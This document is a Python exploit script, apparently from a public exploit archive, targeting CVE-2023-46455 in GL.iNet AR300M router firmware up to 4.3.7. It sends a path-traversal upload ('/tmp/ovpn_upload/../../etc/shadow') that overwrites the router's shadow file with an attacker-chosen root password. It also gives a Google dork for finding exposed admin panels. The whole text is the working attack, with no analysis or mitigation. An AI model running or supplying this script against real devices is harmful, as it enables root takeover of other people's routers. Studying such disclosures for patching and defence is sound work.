GL.iNet AR300M 4.3.7 Arbitrary File Write

                							

                #!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46455

import crypt
import requests
from sys import argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def craft_shadow_file(salted_password):
  shadow_content  = 'root:{}:19459:0:99999:7:::\n'.format(salted_password)
  shadow_content += 'daemon:*:0:0:99999:7:::\n'
  shadow_content += 'ftp:*:0:0:99999:7:::\n'
  shadow_content += 'network:*:0:0:99999:7:::\n'
  shadow_content += 'nobody:*:0:0:99999:7:::\n'
  shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'
  shadow_content += 'stubby:x:0:0:99999:7:::\n'
  shadow_content += 'ntp:x:0:0:99999:7::\n'
  shadow_content += 'mosquitto:x:0:0:99999:7::\n'
  shadow_content += 'logd:x:0:0:99999:7::\n'
  shadow_content += 'ubus:x:0:0:99999:7::\n'
  return shadow_content

def replace_shadow_file(url, auth_token, shadow_content):
  data = {
    'sid': (None, auth_token),
    'size': (None, '4'),
    'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
    'file': ('shadow', shadow_content)
  }
  requests.post(url, files=data, verify=False)

def main(base_url, auth_token):
  print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')

  password = input('[?] New password for root user: ')
  salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)

  shadow_content = craft_shadow_file(salted_password)
  print('[+] Crafted shadow file:\n{}'.format(shadow_content))

  print('[*] Replacing shadow file with the crafted one')
  replace_shadow_file(base_url+'/upload', auth_token, shadow_content)

  print('[+] Done')

if __name__ == '__main__':
  if len(argv) < 3:
    print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0]))
    exit(1)

  main(argv[1], argv[2])
            

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